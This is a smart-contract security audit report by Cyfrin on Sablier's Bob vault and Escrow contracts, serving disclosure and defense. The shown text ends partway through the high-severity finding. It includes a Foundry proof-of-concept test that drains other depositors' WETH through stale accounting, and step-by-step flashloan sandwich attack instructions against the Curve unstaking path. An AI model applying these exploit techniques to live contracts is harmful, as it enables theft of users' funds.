Sablier Bob / Escrow Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Dacian

MrPotatoMagic

March 25, 2026

Contents

1 About Cyfrin **3**

2 Disclaimer **3**

3 Risk Classification **3**

4 Protocol Summary **3**
4.1 Sablier Bob . . . 3
4.1.1 Vault Lifecycle . . . 3
4.1.2 Redemption . . . 3
4.1.3 Grace Period (removed during mitigation review) . . . 4
4.1.4 Lido Adapter . . . 4
4.1.5 Key Constants and Limits . . . 4
4.2 Sablier Escrow . . . 4
4.2.1 Order Lifecycle . . . 4
4.2.2 Fee Structure . . . 5
4.2.3 Access Control (Both Contracts) . . . 5

5 Audit Scope **5**

6 Executive Summary **5**

7 Findings **11**
7.1 Critical Risk . . . 11
7.1.1 Adapter vault `_userWstETH` not cleared after redemption enables theft of other users' funds . 11
7.2 High Risk . . . 14
7.2.1 Circular slippage protection in `SablierLidoAdapter::_wstETHToWeth` enables sandwich attacks on adapter vault unstaking . . . 14
7.3 Medium Risk . . . 19
7.3.1 Users can bypass vault lock and withdraw at any time . . . 19
7.3.2 Floor division in `SablierLidoAdapter::updateStakedTokenBalance` allows transferring `BobVaultShares` without moving wstETH backing . . . 20
7.3.3 Immutable Curve pool dependency creates long-term redemption risk for adapter vaults . . . 22
7.3.4 Custom `comptroller` fees are ignored in `SablierBob::redeem` . . . 23
7.4 Low Risk . . . 25
7.4.1 `SablierEscrow` buyers and sellers can't set max fee slippage . . . 25
7.4.2 `feeAmount` never set when no vault adapter used in `SablierBob::redeem` . . . 25
7.4.3 `SablierEscrow::fillOrder` lacks deadline parameter for buyer protection, same with swaps in `SablierLidoAdapter::_wstETHToWeth` . . . 25
7.4.4 `ExitWithinGracePeriod` event emits inaccurate `amountReceived` for adapter vaults . . . 26
7.4.5 Excess ETH not refunded in non-adapter vault redemption . . . 26
7.4.6 Fee calculations round in favor of the user instead of the protocol . . . 27
7.4.7 Dust WETH permanently stuck in `SablierBob` after adapter vault redemptions . . . 28
7.4.8 Seller `minBuyAmount` order parameter is not respected due to post application of trade fees . 29
7.4.9 ETH sent with adapter vault redemption is trapped in `SablierBob` . . . 29
7.4.10 `SablierBob::enter` can be temporarily bricked for adapter vaults when STETH is paused . . 30
7.5 Informational . . . 31
7.5.1 Use read-then-increment in one line . . . 31
7.5.2 Missing or inadequate Chainlink Oracle checks in `SablierBob.sol` . . . 31
7.5.3 In Solidity don't initialize to default values . . . 31
7.5.4 Remove or resolve TODO . . . 32
7.5.5 Attacker can permanently lock or drain fee-on-transfer tokens from `SablierEscrow` . . . 32
7.5.6 Add validation in `SablierBob::createOrder` to disallow same address as `buyer` and `seller` 33
7.5.7 Emit event `SyncPriceFromOracle` when price is synced . . . 33
7.5.8 Missing getter function for `SablierBobState::isStakedInAdapter` . . . 34

7.5.9 Consider adding a vault migration feature so non-adapter vault users can migrate to a vault with an adapter . . . 34
7.6 Gas Optimization . . . 35
7.6.1 Don't copy entire struct from `storage` to `memory` when only few fields required . . . 35
7.6.2 Emit event first to optimize away previous value variables . . . 35
7.6.3 Use `ReentrancyGuardTransient` for faster `nonReentrant` modifiers . . . 36
7.6.4 QA/Gas improvements in related Sablier contracts . . . 36
7.6.5 Use named return variables where this can optimize away local variables . . . 36
7.6.6 Revert fast by performing input related checks prior to storage reads and external calls . . . 36
7.6.7 Cache storage to prevent identical storage reads . . . 36
7.6.8 `SablierBob::_unstakeFullAmountViaAdapter` should take `vault.adapter` as input parameter . . . 37
7.6.9 Use `SafeTransferLib::safeTransferETH` instead of Solidity `call` to send ETH in `SablierBob::redeem` . . . 37
7.6.10 `SablierLidoAdapter::unstakeFullAmount` should return `totalWstETH` . . . 37
7.6.11 Use `msg.sender` instead of accessing `comptroller` state variable to save gas . . . 38

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

4.1 Sablier Bob

Sablier Bob is a price-gated vault protocol for conditional token releases with optional yield generation. It uses a singleton architecture where all vaults are managed in a single `SablierBob` contract. Each vault deploys a separate `BobVaultShare` ERC-20 token that tracks user deposits at a 1:1 ratio.

4.1.1 Vault Lifecycle

Users deposit ERC-20 tokens into vaults via `enter` and receive share tokens. Vaults have three statuses computed at runtime from stored state:

- **ACTIVE**: Accepting deposits. `lastSyncedPrice < targetPrice` and `block.timestamp < expiry`
- **SETTLED**: Oracle-synced price reached target. `lastSyncedPrice >= targetPrice`
- **EXPIRED**: Expiry timestamp passed. `block.timestamp >= expiry` (checked before SETTLED)

Vaults do not auto-settle. Someone must call `syncPriceFromOracle`, `enter`, or `redeem` to update `lastSyncedPrice` from the Chainlink oracle. Once synced at or above the target price, the vault stays SETTLED permanently even if the live oracle price subsequently drops. Oracle prices of zero are silently ignored.

4.1.2 Redemption

After settlement or expiry, share holders call `redeem` to burn their shares and receive tokens:

- **Non-adapter vaults**: The caller pays a native token fee via `msg.value` (minimum set by the comptroller). Tokens are transferred 1:1 for shares burned
- **Adapter vaults**: The first redemption triggers `_unstakeFullAmountViaAdapter` which converts all yield-bearing tokens back to the deposit token. A yield fee (max 20%, snapshotted at vault creation) is deducted only on positive yield. Anyone can also call `unstakeTokensViaAdapter` to trigger this conversion before individual redemptions

4.1.3 Grace Period (removed during mitigation review)

A 4-hour grace period from first deposit allowed the original depositor to exit via `exitWithinGracePeriod` and reclaim their tokens without fee. This protects against misconfigured oracles. Only addresses that called `enter` directly have grace period rights; receiving shares via transfer does not grant this right.

4.1.4 Lido Adapter

The optional `SablierLidoAdapter` generates yield by staking deposited tokens through the flow: WETH → ETH → stETH (Lido) → wstETH. The adapter tracks per-user wstETH balances and rebalances proportionally on share transfers via the `onShareTransfer` hook.

Unstaking supports two mutually exclusive exit paths per vault:

- **Curve swap** (original): wstETH → stETH → ETH (Curve pool exchange) → WETH. Uses a configurable slippage tolerance (max 5%)
- **Lido native withdrawal** (added during mitigation review): The comptroller calls `requestLidoWithdrawal` to unwrap wstETH → stETH and submit withdrawal requests to the Lido withdrawal queue (splitting into multiple requests if the amount exceeds Lido's per-request maximum). Once finalized, `unstakeFullAmount` claims the withdrawals and wraps the received ETH → WETH

Once one exit path is used for a vault, the other is permanently blocked. Individual user redemptions are processed via `processRedemption`, which distributes WETH proportionally based on each user's wstETH share of the vault total. Oracle prices of zero are rejected in `unstakeFullAmount` (added during mitigation review).

4.1.5 Key Constants and Limits

Parameter	Value
Grace period	4 hours (removed during mitigation review)
Max yield fee (adapter)	20%
Max slippage tolerance (Curve)	5%
Oracle decimals	8 (validated at vault creation)
Amount precision	`uint128` for all monetary values

4.2 Sablier Escrow

Sablier Escrow is an over-the-counter (OTC) token swap protocol that enables peer-to-peer ERC-20 token swaps. It uses a singleton architecture where all orders are managed in a single `SablierEscrow` contract.

4.2.1 Order Lifecycle

Sellers create orders by depositing a sell token and specifying a buy token, minimum buy amount, optional buyer, and optional expiry. Orders have four statuses computed at runtime:

- **OPEN**: Available to be filled. Not filled, not canceled, and not expired
- **FILLED**: A buyer has filled the order
- **CANCELLED**: The seller canceled the order
- **EXPIRED**: The expiry timestamp has passed (`expiryTime > 0 && block.timestamp >= expiryTime`)

Setting `buyer = address(0)` creates a public order anyone can fill. Setting a specific buyer creates a private order. Setting `expiryTime = 0` creates an order that never expires. Buyers can pay more than `minBuyAmount` for price improvement.

4.2.2 Fee Structure

A configurable trade fee (max 2%) is deducted bilaterally on fill:

- From the buyer's received sell tokens: `sellAmount * tradeFee`
- From the seller's received buy tokens: `buyAmount * tradeFee`

Both fee portions are sent to the comptroller contract.

4.2.3 Access Control (Both Contracts)

Both contracts inherit from `Comptrollerable`. The comptroller (admin) can:

- Set the trade fee (`setTradeFee`, Escrow only)
- Set default yield adapters (`setDefaultAdapter`, Bob only)
- Set the native token address (`setNativeToken`, one-time setter on both)
- Set yield fee and slippage tolerance (adapter only)
- Request Lido native withdrawal (`requestLidoWithdrawal`, adapter only, added during mitigation review)

Both contracts forbid deposits of the chain's native token (e.g., POL on Polygon) via the `nativeToken` field. `SablierBob` uses OpenZeppelin's `ReentrancyGuard` on all state-changing functions. `SablierEscrow` does not use a reentrancy guard but follows the checks-effects-interactions pattern.

5 Audit Scope

The audit scope was limited to:

```
bob/src/abstracts/SablierBobState.sol
bob/src/abstracts/SablierEscrowState.sol
bob/types/Bob.sol
bob/types/Escrow.sol
bob/src/BobVaultShare.sol
bob/src/SablierBob.sol
bob/src/SablierEscrow.sol
bob/src/SablierLidoAdapter.sol
```

6 Executive Summary

Over the course of 5 days, the Cyfrin team conducted an audit on the Bob / Escrow smart contracts provided by Sablier.

The findings consist of 1 Critical, 1 High, 4 Medium & 10 Low severity issues with the remainder being informational and gas optimizations.

A formal verification suite implementing 64 properties (59 active + 5 n/a after mitigation review) & associated report was created and provided as an additional deliverable in PR1450.

Oracle Risk

When depositing into a vault, users should carefully scrutinize the configured Oracle for legitimacy. A malicious Oracle (or one that can be upgraded to be malicious in the future) can trap user funds within the vault forever.

Fee On Transfer Enablement Risk

The protocol explicitly doesn't support fee on transfer tokens, however some tokens have the capability to enable fee on transfer in the future. If fee on transfer is enabled in the future this could make it impossible to redeem or

cause other problems within the protocol. Users should exercise caution when depositing tokens which have the capability to enable fee on transfer at a future date.

Protocol Invariants

As part of our protocol analysis we developed a number of proposed protocol invariants, some of which we were able to subsequently break:

```
SablierBob - Vault Mechanics:

1) Users must not be able to steal other user deposits or receive an unfair share of yield (broken by
↪  C-1) (fixed after mitigation review)
2) A vault which has entered the SETTLED or EXPIRE states must not revert back to ACTIVE
3) For non-adapter vaults, total vault token balance held by `SablierBob` must be >= total outstanding
↪  share supply
4) A user must only be able to redeem when the vault is SETTLED or EXPIRED, never when ACTIVE
5) Share tokens must be minted 1:1 with deposited tokens on `enter`
6) Yield fees must never exceed the yield earned
7) `nextVaultId` must never decrease
8) For non-adapter vaults, the sum of tokens transferred in/out must equal the change in share token
↪  supply
9) A vault's `token`, `oracle`, `targetPrice`, `expiry`, and `shareToken` must never change after
↪  creation
10) `lastSyncedPrice` must only change via functions that call `_syncPriceFromOracle`
11) When `enter()` mints shares, a corresponding token transfer into `SablierBob` must occur in the same
↪  transaction
12) No ETH should remain stuck in the `SablierBob` contract after any function call (broken by L-9)
↪  (fixed after mitigation review)
13) Vaults can never be created with an expiry timestamp older than or equal to the current timestamp
14) Vaults can never be created with a target price lower than or equal to the current oracle price
15) `enter` and `syncPriceFromOracle` must revert when the vault is settled or expired
16) For non-adapter vaults, users must not be able to pay a redemption fee less than the `minFeeWei`
↪  configured by the comptroller
17) `lastSyncedPrice` and `lastSyncedAt` must only change when the oracle reports a positive price
58) `createVault` must revert if the `token` address is zero
59) `createVault` must revert if `targetPrice` is zero
60) `redeem` is all-or-nothing: the caller's entire share balance must be burned in a single redemption,
↪  partial redemptions are not supported
61) For non-adapter vaults, the amount of tokens transferred to a user upon `redeem` must equal their
↪  share balance at the time of redemption
62) When `redeem` burns shares, a corresponding token transfer to `msg.sender` must occur in the same
↪  transaction
63) `redeem` for adapter vaults must revert if `msg.value` is greater than zero
64) `onShareTransfer` must revert if the caller is not the vault's designated share token contract
65) A vault created with a non-zero adapter must have `isStakedInAdapter` set to `true` immediately
↪  after creation
66) A vault created with a zero adapter must have `isStakedInAdapter` set to `false` after creation
67) The vault's `adapter` is snapshotted from `_defaultAdapters[token]` at creation time and is not
↪  affected by subsequent changes to the default adapter mapping
81) `enterWithNativeToken` must revert if `msg.value` is zero
82) `enterWithNativeToken` must wrap exactly `msg.value` of native tokens into the vault's token before
↪  minting shares
83) `enterWithNativeToken` must revert if `msg.value` exceeds `type(uint128).max`

SablierBob - Share Token:

18) Per-vault share token `totalSupply` must equal the sum of all holder balances
19) Only `SablierBob` can mint and burn share tokens
68) Each `BobVaultShare` contract's immutable `VAULT_ID` must equal the vault ID for which it was
↪  deployed
69) Each `BobVaultShare` contract's immutable `SABLIER_BOB` must equal the address of the `SablierBob`
↪  contract that deployed it
```

```
70) `BobVaultShare::mint` and `burn` must revert if the provided `vaultId` does not match the token's
↪  immutable `VAULT_ID`

SablierBob - Grace Period:

20) Once the grace period has elapsed, users must not be able to exit a vault until the expiry period
↪  has been served (broken by M-2) (n/a after mitigation review)
21) Only the original depositor should be able to exit within the grace period (broken by M-2) (n/a
↪  after mitigation review)
22) `_firstDepositTimes[vaultId][user]` can only be modified by `enter` (setting it when zero) and
↪  `exitWithinGracePeriod` (resetting it to zero) (n/a after mitigation review)
23) When `exitWithinGracePeriod()` burns shares, a corresponding token transfer to `msg.sender` must
↪  occur in the same transaction (n/a after mitigation review)

SablierBob - Adapter:

24) For adapter vaults, total WETH distributed across all redemptions must not exceed
↪  `_wethReceivedAfterUnstaking` for that vault
25) `unstakeTokensViaAdapter` must only be callable once per vault
26) After all users of an adapter vault redeem, `_vaultTotalWstETH` for that vault should be zero
↪  (broken by C-1) (fixed after mitigation review)
27) A late depositor must not earn a disproportionate share of yield accumulated before their deposit
28) `_vaultTotalWstETH[vaultId]` must equal the sum of all `_userWstETH[vaultId][user]` (broken by C-1)
↪  (fixed after mitigation review)
29) When shares are burned in `redeem`, `_userWstETH` must be correspondingly cleared for adapter vaults
↪  (broken by C-1) (fixed after mitigation review)
30) `vault.isStakedInAdapter` can only transition `true` to `false`, never `false` to `true`
31) `_vaultYieldFee[vaultId]` once set at vault creation must never change
32) When `BobVaultShare` tokens are transferred (amount > 0), `updateStakedTokenBalance` must transfer a
↪  proportional amount of wstETH (> 0) to the recipient (broken by M-3) (fixed after mitigation review)
53) `feeOnYield` must never exceed `MAX_FEE`
54) `slippageTolerance` must never exceed `MAX_SLIPPAGE_TOLERANCE`
57) For a given vault, the Curve swap and Lido native withdrawal exit paths must be mutually exclusive
↪  once one path is used, the other must be permanently blocked
71) `updateStakedTokenBalance` must preserve `_vaultTotalWstETH`: transferring wstETH attribution
↪  between users must not change the vault's total
72) For adapter vaults, `processRedemption` must satisfy the conservation: `transferAmount +
↪  feeAmountDeductedFromYield` equals the user's proportional WETH share (`_userWstETH *
↪  _wethReceivedAfterUnstaking / _vaultTotalWstETH`)
73) `_wethReceivedAfterUnstaking[vaultId]` must be set via `unstakeFullAmount` before any user can
↪  receive a non-zero transfer amount from `processRedemption`
74) `_lidoWithdrawalRequestIds[vaultId]` once populated must never be modified or cleared
75) `requestLidoWithdrawal` must be callable at most once per vault

SablierEscrow:

33) An escrow order which has entered the FILLED, CANCELLED or EXPIRED states must not revert back to
↪  OPEN
34) An escrow order can only be filled once
35) An escrow order can only be cancelled when OPEN
36) On cancellation, the full `sellAmount` must be returned to the seller
37) Trade fees must not exceed `MAX_TRADE_FEE`
38) Only the designated buyer can fill a private order; anyone can fill a public order
39) `nextOrderId` must never decrease
40) An order's `seller`, `buyer`, `sellToken`, `buyToken`, `sellAmount`, `minBuyAmount`, and
↪  `expiryTime` must never change after creation
41) `wasFilled` and `wasCanceled` once set to `true` must never revert to `false`
42) On `fillOrder`, `sellAmount` must be fully conserved: `amountToTransferToBuyer +
↪  feeDeductedFromBuyerAmount = sellAmount`
43) On `fillOrder`, `buyAmount` must be fully conserved: `amountToTransferToSeller +
↪  feeDeductedFromSellerAmount = buyAmount`
44) Only the seller who created the order can cancel it
```

```
45) The final `buyToken` amount received by the seller must be >= `minBuyAmount` (broken by L-8)
50) `wasFilled` and `wasCanceled` must never both be `true` for the same order
76) `createOrder` must revert if `sellToken` and `buyToken` are the same address
77) `createOrder` must revert if `sellAmount` is zero
78) `createOrder` must revert if `minBuyAmount` is zero
79) An order with `expiryTime` of zero must never enter the EXPIRED state
80) `fillOrder` must revert if `buyAmount` is less than the order's `minBuyAmount`

Cross-cutting:

46) Native tokens as defined by `nativeToken` must never be accepted as vault or order tokens
47) `nativeToken` once set to a non-zero value must never change
48) Only the comptroller can call admin functions (`setDefaultAdapter`, `setNativeToken`, `setTradeFee`,
↪  etc.)
49) Only `SablierBob` can call adapter operational functions (`stake`, `registerVault`,
↪  `unstakeFullAmount`, `updateStakedTokenBalance`)
55) `requestLidoWithdrawal` must only be callable by the comptroller
56) `processRedemption` must only be callable by `SablierBob`
```

Post Audit Recommendations

Although the codebase was small and the audit timeline short (5 working days), the protocol contained meaningful complexity. As significant vulnerabilities were identified (1 Critical, 1 High), we recommend an additional audit before deploying significant capital in a production environment.

Post Audit New Feature Review

After the audit had concluded we were additionally asked to review commit ffae958 which added the ability to enter a vault using native tokens via `SablierBob::enterWithNativeToken`. The one concern we expressed regarding the new functionality was that it didn't verify that the input `vaultId`'s token was actually the `WETH` token. Since vaults can be created permissionlessly, for non-adapter vaults this could be exploited by vaults being configured with malicious tokens.

The protocol acknowledged the risk but preferred the current implementation as it provides more flexibility and simplicity; they will advise users to perform due diligence while depositing into a vault or only deposit into vaults supported by the official Sablier UI.

Summary

Project Name	Bob / Escrow
Repository	lockup
Commit	9fbc34f8ac38...
Fix Commit	ffae95821335...
Audit Timeline	Feb 19th - Feb 25th, 2026
Methods	Manual Review, Formal Verification

Issues Found

Critical Risk	1
High Risk	1
Medium Risk	4
Low Risk	10
Informational	9
Gas Optimizations	11
Total Issues	36

Summary of Findings

[C-1] Adapter vault `_userWstETH` not cleared after redemption enables theft of other users' funds	Resolved
[H-1] Circular slippage protection in `SablierLidoAdapter::_wstETHToWeth` enables sandwich attacks on adapter vault unstaking	Resolved
[M-1] Users can bypass vault lock and withdraw at any time	Resolved
[M-2] Floor division in `SablierLidoAdapter::updateStakedTokenBalance` allows transferring `BobVaultShares` without moving wstETH backing	Resolved
[M-3] Immutable Curve pool dependency creates long-term redemption risk for adapter vaults	Resolved
[M-4] Custom `comptroller` fees are ignored in `SablierBob::redeem`	Acknowledged
[L-1] `SablierEscrow` buyers and sellers can't set max fee slippage	Acknowledged
[L-2] `feeAmount` never set when no vault adapter used in `SablierBob::redeem`	Resolved
[L-3] `SablierEscrow::fillOrder` lacks deadline parameter for buyer protection, same with swaps in `SablierLidoAdapter::_wstETHToWeth`	Acknowledged
[L-4] `ExitWithinGracePeriod` event emits inaccurate `amountReceived` for adapter vaults	Resolved
[L-5] Excess ETH not refunded in non-adapter vault redemption	Acknowledged
[L-6] Fee calculations round in favor of the user instead of the protocol	Acknowledged
[L-7] Dust WETH permanently stuck in `SablierBob` after adapter vault redemptions	Acknowledged
[L-8] Seller `minBuyAmount` order parameter is not respected due to post application of trade fees	Resolved
[L-9] ETH sent with adapter vault redemption is trapped in `SablierBob`	Resolved
[L-10] `SablierBob::enter` can be temporarily bricked for adapter vaults when STETH is paused	Acknowledged
[I-1] Use read-then-increment in one line	Acknowledged
[I-2] Missing or inadequate Chainlink Oracle checks in `SablierBob.sol`	Acknowledged
[I-3] In Solidity don't initialize to default values	Acknowledged

[I-4] Remove or resolve TODO	Resolved
[I-5] Attacker can permanently lock or drain fee-on-transfer tokens from `SablierEscrow`	Acknowledged
[I-6] Add validation in `SablierBob::createOrder` to disallow same address as `buyer` and `seller`	Acknowledged
[I-7] Emit event `SyncPriceFromOracle` when price is synced	Resolved
[I-8] Missing getter function for `SablierBobState::isStakedInAdapter`	Resolved
[I-9] Consider adding a vault migration feature so non-adapter vault users can migrate to a vault with an adapter	Acknowledged
[G-01] Don't copy entire struct from `storage` to `memory` when only few fields required	Resolved
[G-02] Emit event first to optimize away previous value variables	Acknowledged
[G-03] Use `ReentrancyGuardTransient` for faster `nonReentrant` modifiers	Acknowledged
[G-04] QA/Gas improvements in related Sablier contracts	Resolved
[G-05] Use named return variables where this can optimize away local variables	Resolved
[G-06] Revert fast by performing input related checks prior to storage reads and external calls	Resolved
[G-07] Cache storage to prevent identical storage reads	Resolved
[G-08] `SablierBob::_unstakeFullAmountViaAdapter` should take `vault.adapter` as input parameter	Resolved
[G-09] Use `SafeTransferLib::safeTransferETH` instead of Solidity `call` to send ETH in `SablierBob::redeem`	Acknowledged
[G-10] `SablierLidoAdapter::unstakeFullAmount` should return `totalWstETH`	Resolved
[G-11] Use `msg.sender` instead of accessing `comptroller` state variable to save gas	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Adapter vault `_userWstETH` not cleared after redemption enables theft of other users' funds

Description: When a user redeems shares from an adapter vault via `SablierBob::redeem`, their shares are burned but the `_userWstETH` mapping in `SablierLidoAdapter` is never cleared or decremented. This contrasts with `SablierBob::exitWithinGracePeriod` which correctly clears `_userWstETH` and decrements `_vaultTotalWstETH`.

The root cause is in `BobVaultShare::_update` (`BobVaultShare.sol:107-118`):

```
if (from != address(0) && to != address(0)) {
    ISablierBob(SABLIER_BOB).onShareTransfer(VAULT_ID, from, to, amount, fromBalanceBefore);
}
```

Burns (where `to == address(0)`) do not trigger `SablierBob::onShareTransfer`, so `SablierLidoAdapter::updateStakedTokenBalance` is never called. And `SablierLidoAdapter::calculateAmountToTransferWithYield` (`SablierLidoAdapter.sol:153-193`) is a `view` function that reads `_userWstETH` but never modifies it.

In `redeem` (`SablierBob.sol:290-373`), the flow is:

1. Burn shares (line 323) — `_userWstETH` NOT cleared
2. Unstake if needed (lines 328-334)
3. Call `calculateAmountToTransferWithYield` (line 338-339) — reads stale `_userWstETH`
4. Transfer tokens (line 369)

Compare with `exitWithinGracePeriod` which calls `SablierLidoAdapter::unstakeForUserWithinGracePeriod` (`SablierLidoAdapter.sol:290-306`):

```
_userWstETH[vaultId][user] = 0;            // CLEARED
_vaultTotalWstETH[vaultId] -= userWstETH; // DECREMENTED
```

Impact: An attacker controlling two addresses can steal WETH from other depositors in the same vault:

1. Attacker A, attacker B, and victim C each deposit 100 WETH into an adapter vault. State: `_userWstETH[A]=100`, `_userWstETH[B]=100`, `_userWstETH[C]=100`, `_vaultTotalWstETH=300`
2. Vault settles/expires. `unstakeFullAmount` converts 300 wstETH to 330 WETH (includes yield). `_wethReceivedAfterUnstaking=330`
3. A calls `redeem`: shares burned, `calculateAmountToTransferWithYield` computes `userWethShare = 100 * 330 / 300 = 110`. A receives ~110 WETH. **But `_userWstETH[A]` is still 100**
4. B transfers all shares to A via ERC20 transfer. `updateStakedTokenBalance` moves B's 100 wstETH to A. Now `_userWstETH[A] = 100 (stale) + 100 (transferred) = 200`
5. A calls `redeem` again with B's shares: `userWethShare = 200 * 330 / 300 = 220`. A receives ~220 WETH
6. Total attacker receives: ~110 + ~220 = ~330 WETH (all vault funds). Victim C's `redeem` reverts — no WETH remains

Proof of Concept: Add the following test to `tests/bob/integration/concrete/redeem/redeemPoC.t.sol`:

```
/// When a user redeems from an adapter vault, shares are burned but _userWstETH in the
/// adapter is NEVER cleared. An attacker with two addresses can:
/// 1. Redeem from address A (wstETH tracking persists despite shares being burned)
/// 2. Transfer shares from address B to A (wstETH compounds on stale data)
/// 3. Redeem again from A with inflated wstETH ratio, draining other users' funds
function test_PoC_StaleUserWstETH_FundTheft() external {
    uint256 vaultId = createVaultWithAdapter();
    uint128 amount = WETH_DEPOSIT_AMOUNT; // 1e18
```

```
// Three users deposit: depositor (attacker A), depositor2 (attacker B), alice (victim)
setMsgSender(users.depositor);
bob.enter(vaultId, amount);
uint128 wstETH_initial = adapter.getYieldBearingTokenBalanceFor(vaultId, users.depositor);

setMsgSender(users.depositor2);
bob.enter(vaultId, amount);

setMsgSender(users.alice);
bob.enter(vaultId, amount);

// Simulate yield: lower wstETH rate = more stETH per wstETH when unwrapping
wsteth.setExchangeRate(0.818e18);

// Warp past expiry and unstake
vm.warp(EXPIRY + 1);
bob.unstakeTokensViaAdapter(vaultId);

uint256 totalWeth = adapter.getWethReceivedAfterUnstaking(vaultId);
assertGt(totalWeth, 3e18, "yield should produce > 3 WETH from 3 deposits");

// Attacker A redeems
setMsgSender(users.depositor);
uint256 wethBefore = IERC20(address(weth)).balanceOf(users.depositor);
bob.redeem(vaultId);
uint256 firstRedeem = IERC20(address(weth)).balanceOf(users.depositor) - wethBefore;

// *** BUG: _userWstETH is NOT cleared after redeem ***
assertEq(
    adapter.getYieldBearingTokenBalanceFor(vaultId, users.depositor),
    wstETH_initial,
    "BUG: _userWstETH unchanged after redeem (should be 0)"
);

// Attacker B transfers all shares to attacker A
setMsgSender(users.depositor2);
IERC20 shareToken = IERC20(address(bob.getShareToken(vaultId)));
shareToken.transfer(users.depositor, shareToken.balanceOf(users.depositor2));

// wstETH[A] = stale_amount + transferred_amount = INFLATED
assertGt(
    adapter.getYieldBearingTokenBalanceFor(vaultId, users.depositor),
    wstETH_initial,
    "BUG: wstETH inflated from stale + transferred"
);

// Attacker A redeems AGAIN with inflated wstETH
setMsgSender(users.depositor);
wethBefore = IERC20(address(weth)).balanceOf(users.depositor);
bob.redeem(vaultId);
uint256 secondRedeem = IERC20(address(weth)).balanceOf(users.depositor) - wethBefore;

// Attacker received more than their legitimate 2/3 share
assertGt(
    firstRedeem + secondRedeem,
    (totalWeth * 2) / 3,
    "EXPLOIT: attacker received more than legitimate 2/3 share"
);

// Victim alice tries to redeem - REVERTS because WETH was drained
setMsgSender(users.alice);
assertGt(shareToken.balanceOf(users.alice), 0, "alice still has shares");
vm.expectRevert();
```

```
    bob.redeem(vaultId);
}
```

Run with: `forge test --match-test test_PoC_StaleUserWstETH_FundTheft -vvv`

Recommended Mitigation: Add a state-changing function in the adapter to clear `_userWstETH` after redemption, and call it from `redeem`:

```
// In SablierLidoAdapter, add:
function clearUserWstETH(uint256 vaultId, address user) external onlySablierBob {
    uint128 userWstETH = _userWstETH[vaultId][user];
    _userWstETH[vaultId][user] = 0;
    _vaultTotalWstETH[vaultId] -= userWstETH;
}

// In SablierBob::redeem, after calculateAmountToTransferWithYield:
vault.adapter.clearUserWstETH(vaultId, msg.sender);
```

Alternatively, change `calculateAmountToTransferWithYield` from a `view` function to a state-changing function that clears the user's wstETH data.

Sablier: Fixed in commit e7b4f7f. The old `calculateAmountToTransferWithYield` view function has been replaced with `SablierLidoAdapter::processRedemption`, which is a state-changing function called from `SablierBob::redeem` that explicitly clears the user's `wstETH`.

The redeem flow also now burns shares after `processRedemption` so the `wstETH` data is consumed before the burn.

Cyfrin: Verified.

7.2 High Risk

7.2.1 Circular slippage protection in `SablierLidoAdapter::_wstETHToWeth` enables sandwich attacks on adapter vault unstaking

Description: In `SablierLidoAdapter::_wstETHToWeth` (`SablierLidoAdapter.sol:367-389`), the minimum acceptable output for the Curve swap is derived from `get_dy` — a view function that returns the expected output based on the pool's **current reserves**:

```
uint256 expectedEthOut = ICurveStETHPool(CURVE_POOL).get_dy(1, 0, stETHAmount);
uint256 minEthOut = ud(expectedEthOut).mul(UNIT.sub(slippageTolerance)).unwrap();
uint256 ethReceived = ICurveStETHPool(CURVE_POOL).exchange(1, 0, stETHAmount, minEthOut);
```

The Curve stETH/ETH pool's `get_dy` reads the current pool balances via `self._balances()` to compute its output:

```
@view
@external
def get_dy(i: int128, j: int128, dx: uint256) -> uint256:
    xp: uint256[N_COINS] = self._balances()    # reads CURRENT reserves
    x: uint256 = xp[i] + dx
    y: uint256 = self.get_y(i, j, x, xp)
    dy: uint256 = xp[j] - y - 1
    fee: uint256 = self.fee * dy / FEE_DENOMINATOR
    return dy - fee
```

The `exchange` function uses the same `self._balances()` pattern. Since both functions read the current reserve state and execute in the same transaction, if an attacker manipulates the pool reserves before the transaction, `get_dy` returns a value reflecting the manipulated state, and the slippage tolerance (max 5%) is applied to the already-depressed price. The protection is circular — it only guards against price movement *between* `get_dy` and `exchange` within the same atomic transaction, which is always zero. This is a known vulnerability pattern with on-chain slippage calculation. The manipulability of Curve's `get_dy` on the same stETH/ETH pool was also confirmed as a high-severity finding in the Tapioca DAO audit where `get_dy(1, 0, stEthBalance)` was used identically.

`SablierBob::unstakeTokensViaAdapter` (`SablierBob.sol:425-468`) is permissionless — anyone can call it once a vault is settled or expired. This means the attacker controls exactly when the unstaking occurs and can sandwich their own call:

1. **Front-run**: Flashloan a large amount of stETH, dump it into the Curve pool → pushes down the stETH/ETH exchange rate
2. **Call** `unstakeTokensViaAdapter`: `get_dy` reads the manipulated reserves and returns a depressed `expectedEthOut`. `minEthOut` = depressed price * 95% — an even lower threshold. `exchange` executes at the manipulated rate and passes the check
3. **Back-run**: Buy back stETH cheaply from the now-imbalanced pool → profit from the price recovery

The damage is amplified because `_wethReceivedAfterUnstaking` is written once during `unstakeFullAmount` (`SablierLidoAdapter.sol:322`) and used as the denominator for **all subsequent user redemptions**. A single sandwich attack permanently reduces every user's WETH payout for that vault.

The same vulnerability applies to `unstakeForUserWithinGracePeriod` (`SablierLidoAdapter.sol:290-306`), which uses the same `_wstETHToWeth` function. While this path is only callable by `SablierBob` (not directly by the attacker), the user's `exitWithinGracePeriod` transaction can still be sandwiched in the mempool.

Impact: An attacker can steal a portion of every adapter vault's WETH during unstaking. The attack requires no special permissions — `unstakeTokensViaAdapter` is permissionless, so the attacker controls the timing perfectly. The profit equals the difference between the fair stETH/ETH rate and the manipulated rate, minus flashloan fees and gas. For large vaults, this can be substantial.

The 5% max slippage tolerance (`MAX_SLIPPAGE_TOLERANCE = 0.05e18`) caps the per-vault loss at ~5% of total staked value, but this is applied to every adapter vault that gets unstaked. Since the attacker can monitor all vault settlements and sandwich each one, the cumulative loss across the protocol can be significant.

